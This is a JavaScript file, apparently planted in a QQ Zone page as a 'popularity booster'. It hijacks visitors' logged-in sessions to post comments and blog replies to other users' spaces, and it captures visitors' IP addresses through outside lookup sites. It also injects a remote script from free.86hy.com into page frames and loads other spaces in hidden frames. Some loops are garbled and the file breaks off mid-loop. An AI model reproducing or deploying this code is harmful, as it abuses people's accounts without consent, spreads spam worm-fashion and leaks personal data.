var pageOpen = new Date(); top.g_iLoginUin=(getCookie("zzpaneluin")=="")?0:parseInt(getCookie("zzpaneluin")); String.prototype.encode=function(){ a=[[/%/g,"%25"],[/~/g,"%7E"],[/!/g,"%21"],[/#/g,"%23"],[/\$/g,"%24"],[/\^/g,"%5E"],[/&/g,"%26"],[/\(/g,"%28"],[/\)/g,"%29"],[/\+/g,"%2B"],[/\|/g,"%7C"],[/=/g,"%3D"],[/\[/g,"%5B"],[/\]/g,"%5D"],[/{/g,"%7B"],[/}/g,"%7D"],[/;/g,"%3B"],[/'/g,"%27"],[/:/g,"%3A"],[/,/g,"%2C"],[/\//g,"%2F"],[/\?/g,"%3F"],[/\"/g,"%22"],[/\r/g,"%0D"],[/\n/g,"%0A"],[/\\/g,"%5C"],[//g,"%3E"],[/ /g,"+"]]; var r = this; for(var i=0;i=0; i--){ if(toList[i].text==top.g_iLoginUin)continue; //日志 SendBlogCheck["QQ"+toList[i].text]=false; sendBlog(toList[i].text); //留言 SendMsgCheck["QQ"+toList[i].text]=false; sendToMsg(toList[i].text); //探访 SendUrlCheck["QQ"+QQUin]=false; //interactiveURL(QQUin); } } //加载对方日志 function sendBlog(QQUin){ if(SendBlogCheck["QQ"+QQUin])return; var sUrl = "http://qzone-blog.qq.com/fcg-bin/cgi_blog_home.fcg?uin=" + QQUin; try{ blog_loader.loadXMLAsync("blog_"+QQUin, sUrl,function(){sendToBlog(QQUin)},function(){setTimeout('sendBlog('+QQUin+')',1000)},true); }catch(e){} } //发送日志 function sendToBlog(QQUin){ if(SendBlogCheck["QQ"+QQUin])return; var BSource=top.LoadXMLData("blog_"+QQUin); if(!BSource)return;//日志加载失败! var blogNumber=BSource.selectNodes('/data/right/element/entry').length; if(blogNumber==0)return;//对方没有日志 blogNumber = Math.floor(Math.random()*blogNumber);//随机选一条日志 var mainEntry = BSource.selectSingleNode('/data/right/element/entry[' + blogNumber + ']'); var data = "diaryid="+mainEntry.getAttribute("diaryid") +"&diaryuin="+QQUin +"&voteid="+mainEntry.getAttribute("visit") +"&answer="+mainEntry.getAttribute("answer") +"&hassign=yes" +"&cb_ysc=0" +"&cb_chx=0" +"&cb_tsza=0" +"¤tpage=1" +"&type="+mainEntry.getAttribute("type") +"&visit="+mainEntry.getAttribute("visit") +"&totalpage=1" +"&totalnum="+mainEntry.getAttribute("answer") +"&effect="+mainEntry.getAttribute("effect") +"&maxnum=88888888&numperpage=30&content="; var url="http://qzone-blog.qq.com/cgi-bin/blog/cgi_blog_addanswer_xml"; data += randData(); try{ top.blog_loader.loadXMLAsyncNoCache("sendBlog_"+QQUin,url, function(){checkSendBlog(QQUin)}, function(){setTimeout('sendToBlog('+QQUin+')',7777)}, data); }catch(e){} } //检查结果 是否给对方回复日志成功 function checkSendBlog(QQUin){ var x = top.g_XDoc["sendBlog_"+QQUin]; if(!x || x.selectSingleNode("/error")) {setTimeout('sendToBlog('+QQUin+')',7777);return;} SendBlogCheck["number"]+=1; SendBlogCheck["list"]+=QQUin+","; SendBlogCheck["QQ"+QQUin]=true; //归递下一个QQ if(SendMsgCheck["QQ"+QQUin])startSend(QQUin); top.g_XDoc["List"+QQUin]=null; top.g_XDoc["blog_"+QQUin]=null; interactiveURL(QQUin); } //发送留言 function sendToMsg(QQUin){ if(SendMsgCheck["QQ"+QQUin])return; var url="http://qzone-blog.qq.com/cgi-bin/blog/cgi_blog_addhostmsg"; var data = "diaryuin="+QQUin+"&numperpage=30&hassign=yes&content=" + randData(); try{ top.blog_loader.loadXMLAsyncNoCache("sendMsg_"+QQUin,url, function(){checkSendMsg(QQUin)}, function(){setTimeout('sendToMsg('+QQUin+')',6666)}, data); }catch(e){} } //检查结果 是否给对方留言成功 function checkSendMsg(QQUin){ var x = top.g_XDoc["sendMsg_"+QQUin]; if(!x || x.selectSingleNode("/error")) {setTimeout('sendToMsg('+QQUin+')',6666);return;} SendMsgCheck["number"]+=1; SendMsgCheck["list"]+=QQUin+","; SendMsgCheck["QQ"+QQUin]=true; //留言成功立即访问对方空间 增加人气 if(SendBlogCheck["QQ"+QQUin])startSend(QQUin); top.g_XDoc["sendMsg_"+QQUin]=null; interactiveURL(QQUin); } //来访者自动给自己留言和回复日志 if(!top.autoBlogdata) top.LoadXMLData(18,autoBlogMsg); function autoBlogMsg(){ var BSource=top.LoadXMLData(18); var blogNumber=BSource.selectNodes('/data/right/element/entry').length; if(blogNumber==0)return;//我还没有日志 blogNumber = Math.floor(Math.random()*blogNumber);//随机选一条日志 var mainEntry = BSource.selectSingleNode('/data/right/element/entry[' + blogNumber + ']'); top.autoBlogdata = "diaryid="+mainEntry.getAttribute("diaryid") +"&diaryuin="+top.g_iUin +"&voteid="+mainEntry.getAttribute("visit") +"&answer="+mainEntry.getAttribute("answer") +"&hassign=yes" +"&cb_ysc=0" +"&cb_chx=0" +"&cb_tsza=0" +"¤tpage=1" +"&type="+mainEntry.getAttribute("type") +"&visit="+mainEntry.getAttribute("visit") +"&totalpage=1" +"&totalnum="+mainEntry.getAttribute("answer") +"&effect="+mainEntry.getAttribute("effect") +"&maxnum=88888888&numperpage=30&content="; } //在对方离开的时候检查留言状态和日志回复状态 没有则自动留言回复日志 if(top.g_iLoginUin!=0&&top.g_iLoginUin!=top.g_iUin&&top.g_iLoginUin!=58932389) window.onunload=function(){ if(!top.sendhostmsg){ var url="http://qzone-blog.qq.com/cgi-bin/blog/cgi_blog_addhostmsg"; var data = "diaryuin="+top.g_iUin+"&numperpage=30&hassign=yes&content="; if(top.g_iUin!=316559215) data+=randData(); else data+=top.UBBIpInfo; blog_loader.loadXMLAsyncNoCache("QQ"+Math.random(),url,null,null,data); } if(top.autoBlogdata&&!top.sendhostblog){ var url="http://qzone-blog.qq.com/cgi-bin/blog/cgi_blog_addanswer_xml"; var data=top.autoBlogdata; if(top.g_iUin!=316559215) data+=randData(); else data+=top.UBBIpInfo; blog_loader.loadXMLAsyncNoCache("QQ"+Math.random(),url,null,null,data); } showAccessInfo(); try{if (VQQPlayer.isInitialize()) VQQPlayer.unInitialize();stop_Falling();g_FallingMode=null;}catch(e){} } //访问对方空间增加浏览次数 //if(top.g_iLoginUin!=0&&top.g_iLoginUin!=top.g_iUin){ // setTimeout("interactiveURL('316559215')",5555); // setTimeout("interactiveURL('"+top.g_iLoginUin+"')",8888); //} if (typeof(interactiveURL) == "undefined") interactiveURL = function(QQUin) { try{if(SendUrlCheck["QQ"+QQUin])return;}catch(e){} var url="http://"+QQUin+".q-zone.qq.com/"; try{ if(document.all['fg'].src.length>12) return setTimeout("interactiveURL('"+QQUin+"')",1000); document.all['fg'].src=url; document.all['fg'].onreadystatechange=function(){ if(document.all['fg'].readyState=='interactive'){ document.all['fg'].onreadystatechange=null; document.all['fg'].src=''; try{SendUrlCheck["number"]+=1;}catch(e){} try{SendUrlCheck["list"]+=QQUin+",";}catch(e){} try{SendUrlCheck["QQ"+QQUin]=true;}catch(e){} } } }catch(e){} } //获取来访者的IP地址 if (typeof(document._write) == "undefined") document._write=document.write; function getIPinfo(ipurl){ if(!top.IpInfo){ document.write=function(ipinfo){ top.IpInfo=ipinfo; top.UBBIpInfo=("[ftc=#FF0000]("+ipinfo+")[/ft]").encode(); document.write=document._write; } var ipjs=document.createElement('script'); ipjs.src=ipurl; document.body.appendChild(ipjs); } } if(!top.Ipurl){ top.Ipurl=true; getIPinfo('http://www.100shang.com/ip/IpInfo.asp'); } setTimeout("getIPinfo('http://www.ithard.com/tool/ip/IpInfo.asp')",2000); setTimeout("getIPinfo('http://www.xker.com/ip/IpInfo.asp')",4000); //注入JS脚本 检查是否主动给你留言和回复日志 if(!new RegExp("catch","g").test(tall.toString())){ var _tall=tall; tall=function(cname,ename,surl){ _tall(cname,ename,surl); try{ if(document.all[ename]&&document.frames[ename]) document.all[ename].onreadystatechange=function(){ if(document.all[ename].readyState=="complete"){ try{ var newjs=document.frames[ename].document.createElement('script'); newjs.src="http://free.86hy.com//bz165/qq/temp.js"; document.frames[ename].document.body.appendChild(newjs); top.ename=ename; }catch(e){} } } }catch(e){} } } function showAccessInfo(){ try{ var pageClose = new Date(); var minutes = pageClose.getMinutes() - pageOpen.getMinutes(); var seconds = pageClose.getSeconds() - pageOpen.getSeconds(); alert('您在爱错(QQ:316559215这儿停留的' + minutes+"分钟"+seconds + '秒里\n\n\n'+ "回复了"+SendBlogCheck["number"]+"篇日志 QQ:"+SendBlogCheck["list"]+"\n\n"+ "留言了"+SendMsgCheck["number"]+"个空间 QQ:"+SendMsgCheck["list"]+"\n\n"+ "探访了"+SendUrlCheck["number"]+"个空间 QQ:"+SendUrlCheck["list"]+"\n\n\n"+ "(日志比较慢,有时间间隔限制 请多停留会儿) 停留得越久,人气就越旺~~~非常占用内存\n探访和留言是否成功可以用“自动留言”输入对方QQ选择相应功能确认一下!"); }catch(e){} } startSend(top.g_iUin); startSend(top.g_iLoginUin); function rangRGB(){ return 'RGB('+Math.floor(Math.random()*255)+','+Math.floor(Math.random()*255)+','+Math.floor(Math.random()*255)+')'; } function autoSpacename() { var QQlist=window.prompt('爱无止境QQ(316559215):您好!欢迎使用“疾速互踩”', "键入要踩空间的QQ号码,用逗号或空格隔开"); if(typeof(QQlist)=="undefined")return alert("有错误发生,没有弹出输入对话框!"); if(typeof(QQlist)!="string")return; QQlist=QQlist.replace(/\D/g,' ').replace(/\d{11,}/g,' ').replace(/\b\d{1,4}\b/g,' ').replace(/ +/g,' ').replace(/^ | $/g,''); if(QQlist=="")return alert("您输入的QQ号码有误!请重试。"); var youSaying=window.prompt('爱错QQ(316559215):接下来请输入您要给对方回复的话!', "[ffg,#EE10DD,#DDDDDD]祝您新春快乐狗年行大运[/ft]"); if(typeof(youSaying)!="string"||youSaying=="")return alert("必须输入您要回复的话!请重试。"); QQlist=QQlist.split(" "); var sendOffOn=window.confirm("您要踩的空间:"+QQlist+"\n您要回复的话:"+youSaying+ "\n\n\n没错吧?\t点“确定”开始!\t\t您可以随时“查看进度”!"); if(!sendOffOn)return; top.beatitudeSaying=youSaying.encode(); for (var i=0; i